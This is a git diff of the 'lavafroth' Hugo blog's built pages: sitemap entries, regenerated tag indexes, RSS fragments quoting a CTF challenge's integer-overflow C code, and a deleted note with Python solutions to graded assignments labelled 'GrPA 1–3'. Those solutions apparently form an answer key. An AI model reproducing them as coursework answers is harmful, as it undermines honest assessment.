s/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/jwt/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/image-reconstruction/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/tags/javascript/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/2023-02-09T16:39:08+05:30https://lavafroth.is-a.dev/tags/webassembly/2023-02-09T16:39:08+05:30https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/tags/powershell/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/tags/wireshark/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/2022-11-22T09:25:20+05:30https://lavafroth.is-a.dev/tags/visual-cryptography/2022-11-22T09:25:20+05:30https://lavafroth.is-a.dev/tags/ast/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/tags/google-ctf/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/tags/elf/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/tags/ringzer0/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/tags/web-parsing/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/2022-08-19T09:57:15+05:30https://lavafroth.is-a.dev/post/r0-hash-me-please/2022-08-19T09:57:00+05:30https://lavafroth.is-a.dev/tags/nushell/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/post/oh-my-god-they-killed-kenny/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/tags/south-park/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/tags/streaming/2022-08-02T09:26:51+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/2022-07-24T12:29:56+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail2/2022-07-24T12:28:56+05:30https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail1/2022-07-24T12:27:56+05:30https://lavafroth.is-a.dev/about/2022-07-23T19:11:10+05:30https://lavafroth.is-a.dev/art/tyler-joseph-portrait/2022-07-23T19:07:32+05:30https://lavafroth.is-a.dev/art/shes-a-rebel/2022-04-17T17:01:44+05:30https://lavafroth.is-a.dev/tags/forensics/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/post/picoctf-forensics-operation-oni-operation-orchid/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/the-sleuth-kit/2022-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/authentication-bypass/2022-02-22T14:49:34+05:30https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/2022-02-22T14:49:34+05:30https://lavafroth.is-a.dev/post/liberating-14gib-of-space/2022-02-21T13:15:26+05:30https://lavafroth.is-a.dev/tags/windows/2022-02-21T13:15:26+05:30https://lavafroth.is-a.dev/tags/jinja2/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/tags/path-traversal/2022-02-21T09:24:30+05:30https://lavafroth.is-a.dev/post/gadgeting-in-python-jails/2021-12-09T09:52:29+05:30https://lavafroth.is-a.dev/project_mana/ \ No newline at end of file diff --git a/skta4v7n8h8/index.html b/skta4v7n8h8/index.html deleted file mode 100644 index 97a048e1..00000000 --- a/skta4v7n8h8/index.html +++ /dev/null @@ -1,132 +0,0 @@ -note skta4v7n8h8 - lavafroth

note skta4v7n8h8

GrPA 1

from typing import List
-
-def constructWord(s: str, chunks: List[str]) -> List[List[str]]:
-    memo = {}
-
-    def solve(remaining_suffix: str) -> List[List[str]]:
-        if not remaining_suffix:
-            return [[]]
-        
-        if remaining_suffix in memo:
-            return memo[remaining_suffix]
-
-        possible_combos = []
-
-        for chunk in chunks:
-            if not remaining_suffix.startswith(chunk):
-                continue
-
-            leftover_results = solve(remaining_suffix[len(chunk):])
-            if not leftover_results:
-                continue
-
-            for rest in leftover_results:
-                possible_combos.append([chunk] + rest)
-
-        memo[remaining_suffix] = possible_combos
-        return possible_combos
-
-    return solve(s)
-

GrPA 2

import numpy as np
-def MaxCoinPath(M, x1, y1, x2, y2):
-    M = np.array(M, dtype=int)[x1:x2+1, y1:y2+1]
-    cost = np.zeros((M.shape[0]+1, M.shape[1]+1), dtype=int)
-    
-    for i in range(M.shape[0]-1, -1, -1):
-        for j in range(M.shape[1]-1, -1, -1):
-            cost[i, j] = max(M[i, j] + cost[i+1, j], M[i, j] + cost[i, j+1])
-    return cost[0,0]
-

GrPA 3

def LDS(arr):
-    n = len(arr)
-    if n == 0:
-        return []
-
-    memo = [1] * n
-    parent = [-1] * n
-    max_len = 0
-    end_index = -1
-
-    for i in range(n):
-        for j in range(i):
-            if arr[i] < arr[j] and memo[i] < memo[j] + 1:
-                memo[i] = memo[j] + 1
-                parent[i] = j
-
-        if memo[i] > max_len:
-            max_len = memo[i]
-            end_index = i
-
-    subsequence = []
-    current_index = end_index
-    while current_index != -1:
-        subsequence.append(arr[current_index])
-        current_index = parent[current_index]
-    return subsequence[::-1]
-
\ No newline at end of file diff --git a/tags/3d/index.html b/tags/3d/index.html index 0adf06a8..721c9f4b 100644 --- a/tags/3d/index.html +++ b/tags/3d/index.html @@ -4,4 +4,4 @@ 3D Animation GLSL - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ai/index.html b/tags/ai/index.html index 76221bf6..2744721f 100644 --- a/tags/ai/index.html +++ b/tags/ai/index.html @@ -2,4 +2,4 @@ AI Rant Copilot - \ No newline at end of file + \ No newline at end of file diff --git a/tags/algebraic-data-types/index.html b/tags/algebraic-data-types/index.html index 3e642716..d87b8196 100644 --- a/tags/algebraic-data-types/index.html +++ b/tags/algebraic-data-types/index.html @@ -2,4 +2,4 @@ Decorators Rust Algebraic Data Types - \ No newline at end of file + \ No newline at end of file diff --git a/tags/amateursctf/index.html b/tags/amateursctf/index.html index 59d58ae1..53ec4ad4 100644 --- a/tags/amateursctf/index.html +++ b/tags/amateursctf/index.html @@ -12,4 +12,4 @@ CTF Cookies Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/android/index.html b/tags/android/index.html index 8c1f5e5d..c97dc485 100644 --- a/tags/android/index.html +++ b/tags/android/index.html @@ -7,4 +7,4 @@ Meta NixOS Android - \ No newline at end of file + \ No newline at end of file diff --git a/tags/animation/index.html b/tags/animation/index.html index 817994f4..f69cb8b2 100644 --- a/tags/animation/index.html +++ b/tags/animation/index.html @@ -11,4 +11,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ast/index.html b/tags/ast/index.html index 29c9c709..1f1b35cd 100644 --- a/tags/ast/index.html +++ b/tags/ast/index.html @@ -3,4 +3,4 @@ Python AST Sandbox Escape - \ No newline at end of file + \ No newline at end of file diff --git a/tags/authentication-bypass/index.html b/tags/authentication-bypass/index.html index f9607551..ab71ac28 100644 --- a/tags/authentication-bypass/index.html +++ b/tags/authentication-bypass/index.html @@ -3,4 +3,4 @@ JWT PicoCTF Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/automation/index.html b/tags/automation/index.html index c1c42bff..eae76637 100644 --- a/tags/automation/index.html +++ b/tags/automation/index.html @@ -3,4 +3,4 @@ Automation Jellyfin Photoprism - \ No newline at end of file + \ No newline at end of file diff --git a/tags/bash/index.html b/tags/bash/index.html index f3080c85..37028486 100644 --- a/tags/bash/index.html +++ b/tags/bash/index.html @@ -15,4 +15,4 @@ CTF RingZer0 Sandbox Escape - \ No newline at end of file + \ No newline at end of file diff --git a/tags/binary-exploitation/index.html b/tags/binary-exploitation/index.html index 95417e7f..95a5198c 100644 --- a/tags/binary-exploitation/index.html +++ b/tags/binary-exploitation/index.html @@ -18,4 +18,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/binary-exploitation/index.xml b/tags/binary-exploitation/index.xml index 417c8dbc..3803e358 100644 --- a/tags/binary-exploitation/index.xml +++ b/tags/binary-exploitation/index.xml @@ -8,7 +8,7 @@ I must warn you, I was unable to finish all the challenges due to other life eve code for the program running on the remote server:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> </span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> -</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) { </span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) diff --git a/tags/bioinformatics/index.html b/tags/bioinformatics/index.html index feb2e659..7b5316d2 100644 --- a/tags/bioinformatics/index.html +++ b/tags/bioinformatics/index.html @@ -2,4 +2,4 @@ Bioinformatics Linear Algebra Remainder Theorem - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ci-exploitation/index.html b/tags/ci-exploitation/index.html index f92ab562..a01dcaa9 100644 --- a/tags/ci-exploitation/index.html +++ b/tags/ci-exploitation/index.html @@ -15,4 +15,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/cloud-security/index.html b/tags/cloud-security/index.html index 43992891..fc74f593 100644 --- a/tags/cloud-security/index.html +++ b/tags/cloud-security/index.html @@ -15,4 +15,4 @@ Reverse Engineering Web Wireshark - \ No newline at end of file + \ No newline at end of file diff --git a/tags/concurrency/index.html b/tags/concurrency/index.html index ebd84442..a0f62901 100644 --- a/tags/concurrency/index.html +++ b/tags/concurrency/index.html @@ -1,4 +1,4 @@ Concurrency - lavafroth
\ No newline at end of file + \ No newline at end of file diff --git a/tags/cookies/index.html b/tags/cookies/index.html index 7b936ec3..92a5f82a 100644 --- a/tags/cookies/index.html +++ b/tags/cookies/index.html @@ -2,4 +2,4 @@ CTF Cookies Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/copilot/index.html b/tags/copilot/index.html index 95656f57..d05e0fac 100644 --- a/tags/copilot/index.html +++ b/tags/copilot/index.html @@ -2,4 +2,4 @@ AI Rant Copilot - \ No newline at end of file + \ No newline at end of file diff --git a/tags/cryptography/index.html b/tags/cryptography/index.html index b42c5de0..8150378a 100644 --- a/tags/cryptography/index.html +++ b/tags/cryptography/index.html @@ -32,4 +32,4 @@ CTF RingZer0 Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/ctf/index.html b/tags/ctf/index.html index 18e4dcc6..27734754 100644 --- a/tags/ctf/index.html +++ b/tags/ctf/index.html @@ -45,4 +45,4 @@ Web WebAssembly \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/ctf/index.xml b/tags/ctf/index.xml index 877f6ded..31d872e5 100644 --- a/tags/ctf/index.xml +++ b/tags/ctf/index.xml @@ -59,7 +59,7 @@ just wait an eternity code for the program running on the remote server:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> </span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> -</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) { </span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) diff --git a/tags/ctf/page/2/index.html b/tags/ctf/page/2/index.html index 776f1737..9931161d 100644 --- a/tags/ctf/page/2/index.html +++ b/tags/ctf/page/2/index.html @@ -47,4 +47,4 @@ PicoCTF The Sleuth Kit \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/ctf/page/3/index.html b/tags/ctf/page/3/index.html index 5c35d690..33fa1cbf 100644 --- a/tags/ctf/page/3/index.html +++ b/tags/ctf/page/3/index.html @@ -10,4 +10,4 @@ Python Web \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/cuda/index.html b/tags/cuda/index.html index 33903256..619b9a57 100644 --- a/tags/cuda/index.html +++ b/tags/cuda/index.html @@ -6,4 +6,4 @@ NVIDIA CUDA Rant - \ No newline at end of file + \ No newline at end of file diff --git a/tags/custom-rom/index.html b/tags/custom-rom/index.html index 24941e2b..9177621f 100644 --- a/tags/custom-rom/index.html +++ b/tags/custom-rom/index.html @@ -3,4 +3,4 @@ /e/OS QuickSwitch QuickStep - \ No newline at end of file + \ No newline at end of file diff --git a/tags/decorators/index.html b/tags/decorators/index.html index 076f297d..0bd9f5ea 100644 --- a/tags/decorators/index.html +++ b/tags/decorators/index.html @@ -2,4 +2,4 @@ Decorators Rust Algebraic Data Types - \ No newline at end of file + \ No newline at end of file diff --git a/tags/dmarc/index.html b/tags/dmarc/index.html index 4043ea02..9908ee48 100644 --- a/tags/dmarc/index.html +++ b/tags/dmarc/index.html @@ -6,4 +6,4 @@ Reverse Engineering DMARC Web - \ No newline at end of file + \ No newline at end of file diff --git a/tags/dna/index.html b/tags/dna/index.html index f202f980..27019061 100644 --- a/tags/dna/index.html +++ b/tags/dna/index.html @@ -2,4 +2,4 @@ Bioinformatics Linear Algebra Remainder Theorem - \ No newline at end of file + \ No newline at end of file diff --git a/tags/e/os/index.html b/tags/e/os/index.html index e4458932..a91ee22b 100644 --- a/tags/e/os/index.html +++ b/tags/e/os/index.html @@ -1,6 +1,6 @@ -/E/OS - lavafroth
\ No newline at end of file diff --git a/tags/e/os/index.xml b/tags/e/os/index.xml index 67bf4845..fa0e4c1a 100644 --- a/tags/e/os/index.xml +++ b/tags/e/os/index.xml @@ -1,4 +1,4 @@ -/E/OS on lavafrothhttps://lavafroth.is-a.dev/tags/e/os/Recent content in /E/OS on lavafrothHugoen-usWed, 20 Aug 2025 09:55:43 +0530Guide: Changing Recents Provider on /e/OShttps://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/<h1 id="overview">Overview</h1> +/E/OS on lavafrothhttps://lavafroth.is-a.dev/tags//e/os/Recent content in /E/OS on lavafrothHugoen-usWed, 20 Aug 2025 09:55:43 +0530Guide: Changing Recents Provider on /e/OShttps://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/<h1 id="overview">Overview</h1> <p>Over the past month I have been daily driving my new phone, the Nothing CMF 1 flashed with /e/OS after I unlocked its bootloader. It&rsquo;s a very pleasant experience except for the default Bliss launcher (home app).</p> <p>Reasons I do not prefer it:</p> <ul> diff --git a/tags/e/os/page/1/index.html b/tags/e/os/page/1/index.html index b9e67b71..e82b6c5e 100644 --- a/tags/e/os/page/1/index.html +++ b/tags/e/os/page/1/index.html @@ -1 +1 @@ -https://lavafroth.is-a.dev/tags/e/os/ \ No newline at end of file +https://lavafroth.is-a.dev/tags//e/os/ \ No newline at end of file diff --git a/tags/ebnf/index.html b/tags/ebnf/index.html index af8fb9c4..70cab436 100644 --- a/tags/ebnf/index.html +++ b/tags/ebnf/index.html @@ -59,4 +59,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/ebnf/page/2/index.html b/tags/ebnf/page/2/index.html index ae2f46be..b97476fd 100644 --- a/tags/ebnf/page/2/index.html +++ b/tags/ebnf/page/2/index.html @@ -9,4 +9,4 @@ EBNF Google Summer of Code \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/elf/index.html b/tags/elf/index.html index 671f7bdb..cae1ae01 100644 --- a/tags/elf/index.html +++ b/tags/elf/index.html @@ -2,4 +2,4 @@ ELF RingZer0 Web Parsing - \ No newline at end of file + \ No newline at end of file diff --git a/tags/forensics/index.html b/tags/forensics/index.html index 64b4d129..2909b075 100644 --- a/tags/forensics/index.html +++ b/tags/forensics/index.html @@ -2,4 +2,4 @@ Forensics PicoCTF The Sleuth Kit - \ No newline at end of file + \ No newline at end of file diff --git a/tags/glsl/index.html b/tags/glsl/index.html index ca065770..da75a4af 100644 --- a/tags/glsl/index.html +++ b/tags/glsl/index.html @@ -4,4 +4,4 @@ 3D Animation GLSL - \ No newline at end of file + \ No newline at end of file diff --git a/tags/go/index.html b/tags/go/index.html index 34eff1cd..6e92ad3b 100644 --- a/tags/go/index.html +++ b/tags/go/index.html @@ -8,4 +8,4 @@ YouTube Animation Manim - \ No newline at end of file + \ No newline at end of file diff --git a/tags/google-ctf/index.html b/tags/google-ctf/index.html index 47e83aa7..7f0f7165 100644 --- a/tags/google-ctf/index.html +++ b/tags/google-ctf/index.html @@ -3,4 +3,4 @@ Python AST Sandbox Escape - \ No newline at end of file + \ No newline at end of file diff --git a/tags/google-summer-of-code/index.html b/tags/google-summer-of-code/index.html index 7d6aa94e..bcd90a5d 100644 --- a/tags/google-summer-of-code/index.html +++ b/tags/google-summer-of-code/index.html @@ -59,4 +59,4 @@ Waycrate Wayland \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/google-summer-of-code/page/2/index.html b/tags/google-summer-of-code/page/2/index.html index 5f02dd70..b77cd0d2 100644 --- a/tags/google-summer-of-code/page/2/index.html +++ b/tags/google-summer-of-code/page/2/index.html @@ -15,4 +15,4 @@ EBNF Google Summer of Code \ No newline at end of file +Next Page \ No newline at end of file diff --git a/tags/home-server/index.html b/tags/home-server/index.html index 7e1227c4..d51fd000 100644 --- a/tags/home-server/index.html +++ b/tags/home-server/index.html @@ -3,4 +3,4 @@ Automation Jellyfin Photoprism - \ No newline at end of file + \ No newline at end of file diff --git a/tags/image-reconstruction/index.html b/tags/image-reconstruction/index.html index 06d5b6b5..7ae7a5bb 100644 --- a/tags/image-reconstruction/index.html +++ b/tags/image-reconstruction/index.html @@ -10,4 +10,4 @@ PicoCTF Rust Visual Cryptography - \ No newline at end of file + \ No newline at end of file diff --git a/tags/index.html b/tags/index.html index c71dc350..48f97151 100644 --- a/tags/index.html +++ b/tags/index.html @@ -1 +1 @@ -Tags - lavafroth
\ No newline at end of file +Tags - lavafroth
\ No newline at end of file diff --git a/tags/index.xml b/tags/index.xml index 5708182f..5e406029 100644 --- a/tags/index.xml +++ b/tags/index.xml @@ -1 +1 @@ -Tags on lavafrothhttps://lavafroth.is-a.dev/tags/Recent content in Tags on lavafrothHugoen-usSun, 02 Nov 2025 19:08:46 +0530Algebraic Data Typeshttps://lavafroth.is-a.dev/tags/algebraic-data-types/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/tags/algebraic-data-types/Decoratorshttps://lavafroth.is-a.dev/tags/decorators/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/tags/decorators/Pythonhttps://lavafroth.is-a.dev/tags/python/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/tags/python/Rusthttps://lavafroth.is-a.dev/tags/rust/Sun, 02 Nov 2025 19:08:46 +0530https://lavafroth.is-a.dev/tags/rust/Nixhttps://lavafroth.is-a.dev/tags/nix/Sun, 14 Sep 2025 18:31:52 +0530https://lavafroth.is-a.dev/tags/nix/NixOShttps://lavafroth.is-a.dev/tags/nixos/Sun, 14 Sep 2025 18:31:52 +0530https://lavafroth.is-a.dev/tags/nixos/Noteshttps://lavafroth.is-a.dev/tags/notes/Sun, 14 Sep 2025 18:31:52 +0530https://lavafroth.is-a.dev/tags/notes/Troubleshootinghttps://lavafroth.is-a.dev/tags/troubleshooting/Sun, 14 Sep 2025 18:31:52 +0530https://lavafroth.is-a.dev/tags/troubleshooting//E/OShttps://lavafroth.is-a.dev/tags/e/os/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/tags/e/os/Androidhttps://lavafroth.is-a.dev/tags/android/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/tags/android/Custom ROMhttps://lavafroth.is-a.dev/tags/custom-rom/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/tags/custom-rom/QuickStephttps://lavafroth.is-a.dev/tags/quickstep/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/tags/quickstep/QuickSwitchhttps://lavafroth.is-a.dev/tags/quickswitch/Wed, 20 Aug 2025 09:55:43 +0530https://lavafroth.is-a.dev/tags/quickswitch/Gohttps://lavafroth.is-a.dev/tags/go/Fri, 13 Jun 2025 08:39:58 +0530https://lavafroth.is-a.dev/tags/go/Reverse Engieeringhttps://lavafroth.is-a.dev/tags/reverse-engieering/Fri, 13 Jun 2025 08:39:58 +0530https://lavafroth.is-a.dev/tags/reverse-engieering/TILhttps://lavafroth.is-a.dev/tags/til/Fri, 13 Jun 2025 08:39:58 +0530https://lavafroth.is-a.dev/tags/til/AIhttps://lavafroth.is-a.dev/tags/ai/Thu, 03 Apr 2025 15:56:04 +0530https://lavafroth.is-a.dev/tags/ai/Copilothttps://lavafroth.is-a.dev/tags/copilot/Thu, 03 Apr 2025 15:56:04 +0530https://lavafroth.is-a.dev/tags/copilot/LLMhttps://lavafroth.is-a.dev/tags/llm/Thu, 03 Apr 2025 15:56:04 +0530https://lavafroth.is-a.dev/tags/llm/Ranthttps://lavafroth.is-a.dev/tags/rant/Thu, 03 Apr 2025 15:56:04 +0530https://lavafroth.is-a.dev/tags/rant/Bioinformaticshttps://lavafroth.is-a.dev/tags/bioinformatics/Fri, 14 Feb 2025 09:40:11 +0530https://lavafroth.is-a.dev/tags/bioinformatics/DNAhttps://lavafroth.is-a.dev/tags/dna/Fri, 14 Feb 2025 09:40:11 +0530https://lavafroth.is-a.dev/tags/dna/Linear Algebrahttps://lavafroth.is-a.dev/tags/linear-algebra/Fri, 14 Feb 2025 09:40:11 +0530https://lavafroth.is-a.dev/tags/linear-algebra/Remainder Theoremhttps://lavafroth.is-a.dev/tags/remainder-theorem/Fri, 14 Feb 2025 09:40:11 +0530https://lavafroth.is-a.dev/tags/remainder-theorem/3Dhttps://lavafroth.is-a.dev/tags/3d/Mon, 20 Jan 2025 19:41:51 +0530https://lavafroth.is-a.dev/tags/3d/Animationhttps://lavafroth.is-a.dev/tags/animation/Mon, 20 Jan 2025 19:41:51 +0530https://lavafroth.is-a.dev/tags/animation/GLSLhttps://lavafroth.is-a.dev/tags/glsl/Mon, 20 Jan 2025 19:41:51 +0530https://lavafroth.is-a.dev/tags/glsl/Manimhttps://lavafroth.is-a.dev/tags/manim/Mon, 20 Jan 2025 19:41:51 +0530https://lavafroth.is-a.dev/tags/manim/ThreeJShttps://lavafroth.is-a.dev/tags/threejs/Mon, 20 Jan 2025 19:41:51 +0530https://lavafroth.is-a.dev/tags/threejs/WebGLhttps://lavafroth.is-a.dev/tags/webgl/Mon, 20 Jan 2025 19:41:51 +0530https://lavafroth.is-a.dev/tags/webgl/Bashhttps://lavafroth.is-a.dev/tags/bash/Sun, 05 Jan 2025 11:55:52 +0530https://lavafroth.is-a.dev/tags/bash/CTFhttps://lavafroth.is-a.dev/tags/ctf/Sun, 05 Jan 2025 11:55:52 +0530https://lavafroth.is-a.dev/tags/ctf/PicoCTFhttps://lavafroth.is-a.dev/tags/picoctf/Sun, 05 Jan 2025 11:55:52 +0530https://lavafroth.is-a.dev/tags/picoctf/Sandbox Escapehttps://lavafroth.is-a.dev/tags/sandbox-escape/Sun, 05 Jan 2025 11:55:52 +0530https://lavafroth.is-a.dev/tags/sandbox-escape/Automationhttps://lavafroth.is-a.dev/tags/automation/Sat, 04 Jan 2025 10:04:37 +0530https://lavafroth.is-a.dev/tags/automation/Home Serverhttps://lavafroth.is-a.dev/tags/home-server/Sat, 04 Jan 2025 10:04:37 +0530https://lavafroth.is-a.dev/tags/home-server/Jellyfinhttps://lavafroth.is-a.dev/tags/jellyfin/Sat, 04 Jan 2025 10:04:37 +0530https://lavafroth.is-a.dev/tags/jellyfin/Photoprismhttps://lavafroth.is-a.dev/tags/photoprism/Sat, 04 Jan 2025 10:04:37 +0530https://lavafroth.is-a.dev/tags/photoprism/Lanzabootehttps://lavafroth.is-a.dev/tags/lanzaboote/Fri, 20 Dec 2024 12:26:10 +0530https://lavafroth.is-a.dev/tags/lanzaboote/Sbctlhttps://lavafroth.is-a.dev/tags/sbctl/Fri, 20 Dec 2024 12:26:10 +0530https://lavafroth.is-a.dev/tags/sbctl/Secureboothttps://lavafroth.is-a.dev/tags/secureboot/Fri, 20 Dec 2024 12:26:10 +0530https://lavafroth.is-a.dev/tags/secureboot/EBNFhttps://lavafroth.is-a.dev/tags/ebnf/Sat, 24 Aug 2024 10:28:50 +0530https://lavafroth.is-a.dev/tags/ebnf/Google Summer of Codehttps://lavafroth.is-a.dev/tags/google-summer-of-code/Sat, 24 Aug 2024 10:28:50 +0530https://lavafroth.is-a.dev/tags/google-summer-of-code/SWHKDhttps://lavafroth.is-a.dev/tags/swhkd/Sat, 24 Aug 2024 10:28:50 +0530https://lavafroth.is-a.dev/tags/swhkd/Waycratehttps://lavafroth.is-a.dev/tags/waycrate/Sat, 24 Aug 2024 10:28:50 +0530https://lavafroth.is-a.dev/tags/waycrate/Waylandhttps://lavafroth.is-a.dev/tags/wayland/Sat, 24 Aug 2024 10:28:50 +0530https://lavafroth.is-a.dev/tags/wayland/CUDAhttps://lavafroth.is-a.dev/tags/cuda/Sat, 10 Aug 2024 08:18:30 +0530https://lavafroth.is-a.dev/tags/cuda/Machine Learninghttps://lavafroth.is-a.dev/tags/machine-learning/Sat, 10 Aug 2024 08:18:30 +0530https://lavafroth.is-a.dev/tags/machine-learning/NVIDIAhttps://lavafroth.is-a.dev/tags/nvidia/Sat, 10 Aug 2024 08:18:30 +0530https://lavafroth.is-a.dev/tags/nvidia/Workflowhttps://lavafroth.is-a.dev/tags/workflow/Sat, 10 Aug 2024 08:18:30 +0530https://lavafroth.is-a.dev/tags/workflow/Video Editinghttps://lavafroth.is-a.dev/tags/video-editing/Thu, 01 Aug 2024 17:17:31 +0530https://lavafroth.is-a.dev/tags/video-editing/Kernel Moduleshttps://lavafroth.is-a.dev/tags/kernel-modules/Fri, 07 Jun 2024 17:01:01 +0530https://lavafroth.is-a.dev/tags/kernel-modules/Laptopshttps://lavafroth.is-a.dev/tags/laptops/Fri, 07 Jun 2024 17:01:01 +0530https://lavafroth.is-a.dev/tags/laptops/Linuxhttps://lavafroth.is-a.dev/tags/linux/Fri, 07 Jun 2024 17:01:01 +0530https://lavafroth.is-a.dev/tags/linux/Terminalhttps://lavafroth.is-a.dev/tags/terminal/Thu, 23 May 2024 18:37:47 +0530https://lavafroth.is-a.dev/tags/terminal/UIhttps://lavafroth.is-a.dev/tags/ui/Thu, 23 May 2024 18:37:47 +0530https://lavafroth.is-a.dev/tags/ui/YouTubehttps://lavafroth.is-a.dev/tags/youtube/Thu, 23 May 2024 18:37:47 +0530https://lavafroth.is-a.dev/tags/youtube/Metahttps://lavafroth.is-a.dev/tags/meta/Sun, 10 Mar 2024 08:47:08 +0530https://lavafroth.is-a.dev/tags/meta/Binary Exploitationhttps://lavafroth.is-a.dev/tags/binary-exploitation/Wed, 10 Jan 2024 19:51:32 +0530https://lavafroth.is-a.dev/tags/binary-exploitation/CI Exploitationhttps://lavafroth.is-a.dev/tags/ci-exploitation/Wed, 10 Jan 2024 19:51:32 +0530https://lavafroth.is-a.dev/tags/ci-exploitation/Cloud Securityhttps://lavafroth.is-a.dev/tags/cloud-security/Wed, 10 Jan 2024 19:51:32 +0530https://lavafroth.is-a.dev/tags/cloud-security/Cryptographyhttps://lavafroth.is-a.dev/tags/cryptography/Wed, 10 Jan 2024 19:51:32 +0530https://lavafroth.is-a.dev/tags/cryptography/DMARChttps://lavafroth.is-a.dev/tags/dmarc/Wed, 10 Jan 2024 19:51:32 +0530https://lavafroth.is-a.dev/tags/dmarc/Reverse Engineeringhttps://lavafroth.is-a.dev/tags/reverse-engineering/Wed, 10 